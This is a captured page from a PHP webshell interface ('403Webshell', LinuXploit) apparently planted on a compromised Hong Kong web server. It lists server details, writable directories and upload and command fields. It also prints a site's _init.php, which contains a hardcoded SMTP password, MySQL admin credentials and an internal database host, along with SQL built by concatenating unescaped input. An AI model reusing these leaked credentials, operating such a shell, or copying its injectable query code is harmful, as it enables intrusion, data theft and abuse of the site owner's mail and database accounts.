403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/ergofito/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/ergofito/_init.php
<?
session_start();
ini_set('display_errors',0);

function sendEmail( $to, $subject, $content_arr = array(), $sender_name, $sender_email, $map_file ,$form_name) {
		$headers  = "From: ".$sender_name." <".$sender_email.">\r\n";
		$headers .= "MIME-Version: 1.0\r\n";
		$headers .= "Content-type: text/html; charset=uft-8\r\n";
		$headers .= "Reply-To: ".$sender_name."<".$sender_email.">\r\n";
		$headers .= "Return-Path: ".$sender_name."<".$sender_email.">\r\n";
		$headers .= "Message-ID: <".time()." ".$sender_email.">\r\n";
		$headers .= "X-Mailer: PHP v".phpversion()."\r\n";		
	
		$msg = file_get_contents( 'email/'.$map_file );	
		$msg = str_replace('{sender_email}', $sender_email, $msg);	
			
		foreach ( $content_arr as $key=>$value ){
			$msg = str_replace('{'.$key.'}', $value, $msg);
		}
		include('phpmailer/class.phpmailer.php');
		$x_mail = new PHPMailer();
        $x_mail->IsSMTP();
		//$x_mail->SMTPDebug  = 2;
        $x_mail->Host = 'smtp.mandrillapp.com';                 // Specify main and backup server
		$x_mail->Port = 587;                                    // Set the SMTP port
		$x_mail->SMTPAuth = true;                               // Enable SMTP authentication
		$x_mail->Username = 'garricklam@onesolution.com.hk';                // SMTP username
		$x_mail->Password = 'lYtE-w6jVOD4vZQrurvraQ';                  // SMTP password
		$x_mail->SMTPSecure = 'tls';

        $x_mail->CharSet  = "UTF-8";
        $x_mail->Sender   = $to;
        //$x_mail->AddReplyTo($enquiryemail, $company_name);
        $x_mail->From     = $sender_email;
        $x_mail->FromName = $sender_name;

        $x_mail->AddAddress($to, $form_name);
        //$x_mail->AddBCC("kelvinchan@onesolution.com.hk", $company_name);

        $x_mail->WordWrap = 50;
        $x_mail->IsHTML(true);
        $x_mail->Subject = $subject;
        $x_mail->Body    = $msg;

        $x_mail->Send();
}
function parsePages( $page = 1, $item_total = 0, $item_per_page = 6 ) {
	$page_total = ceil($item_total/$item_per_page);
	$page = !$page||$page>$page_total ? 1 : $page; 
	$loopMin = $item_per_page*($page-1);
	$loopMix = $item_per_page+$loopMin;
	return array($page, $page_total, $loopMin, $loopMix);
}
function mysql_install($array,$table,$action='add',$idname="",$id=""){ //array字串(array_keys),db table name,add=新db edit=修改,del= 刪除
	$arraykey=array_keys($array);
	if($action=='add'){
	$sql= "INSERT INTO `".$table."` (";
	for($i=0;$i<count($array);$i++){
		if($i+1<count($array)){
			$dot=',';
		}else{
			$dot='';
		}
		$sql.= "`".$arraykey[$i]."`".$dot;
	}
	$sql.= ') values (';
	for($i=0;$i<count($array);$i++){
		if($i+1<count($array)){
			$dot=',';
		}else{
			$dot='';
		}
		$sql.= "'".$array[$arraykey[$i]]."'".$dot;
		//$sql.= "?".$dot;
	}
	$sql.= ')';
	}else if($action=='edit'){
		$sql="UPDATE `".$table."` SET "; 
		for($i=0;$i<count($array);$i++){
			if($i+1<count($array)){
				$dot=',';
			}else{
				$dot='';
			}
			$sql.= "`".$arraykey[$i]."` = '".$array[$arraykey[$i]]."'".$dot;
			//$sql.= "`".$arraykey[$i]."` = ?".$dot;
		}
		$sql.=" WHERE `".$table."`.`".$idname."` =".$id.";";
		//$sql.=" WHERE `".$table."`.`".$idname."` =?;";
	}else if($action=='del'){
		$sql.="DELETE FROM `".$table."` WHERE `".$table."`.`".$idname."` =".$id;
	}
	return $sql;
}
function redirect( $path ) {
	  @header("Location: {$path}");
	  echo "<script language='JavaScript'>window.location='{$path}'</script>";
	  exit();
  }
class SQL{
	function connect() {
		//$this->connection_link = mysql_connect('localhost', 'admin', 'PHac7dru');
		$this->connection_link = mysql_connect('192.168.155.13', 'admin', 'PHac7dru');
		mysql_query("SET NAMES 'utf8'");
		mysql_query("SET NAMES 'utf8'", $this->connection_link);
		mysql_select_db('ergofito', $this->connection_link);
	}
	function resultSingleArr($sql, $secure = 1) {
		$result = mysql_query($sql, $this->connection_link);
		$sqlArr = mysql_fetch_array($result);
		mysql_free_result($result);
		return $secure ? $this->_secure($sqlArr) : $sqlArr;
	}
	function resultManyArr($sql, $startpt = 0, $secure = 1) {
		$result = mysql_query($sql, $this->connection_link);
		if ( mysql_num_rows($result) <= 0 ) return array();
		while($row=mysql_fetch_assoc($result)) {
			$sqlArr[$startpt]=$row;
			$startpt++;
		}
		mysql_free_result($result);
		return $secure ? $this->_secure($sqlArr) : $sqlArr;
	}
	function _secure($data) {
		if (is_array($data)) {
			if (is_array($data[0])) {
				foreach ($data as $key=>$value) $data[$key] = $this->_htmlspecialchars($value);
			} else {
				$data = $this->_htmlspecialchars($data);
			}
		} else {
			$data = htmlspecialchars($data);
		}
		return $data;
	}
	function _htmlspecialchars($data) {
		if (is_array($data)) foreach ($data as $key=>$value) {
			$data[$key] = is_null($value) ? NULL : htmlspecialchars($value);
		}
		return $data;
	}
}
$SQL = new SQL();
$SQL->connect();

$sql="SELECT * FROM site_info where siteinfoid = 1 LIMIT 1";
$record_site_info = $SQL->resultSingleArr($sql);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit